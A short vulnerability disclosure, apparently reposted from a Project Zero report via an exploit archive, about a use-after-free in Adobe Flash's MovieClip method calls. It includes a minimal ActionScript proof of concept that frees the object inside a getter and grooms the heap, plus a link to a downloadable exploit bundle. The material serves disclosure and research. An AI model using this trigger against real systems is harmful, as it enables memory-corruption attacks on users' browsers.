Adobe Flash - Method Calls Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846
 
If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:
 
var mc =  this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");
 
function func(){
     
    mc.removeMovieClip();
    // Fix heap
    var d:Date = new Date();
    return d.getDate;
     
    }   
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40356.zip

#  0day.today [2018-01-01]  #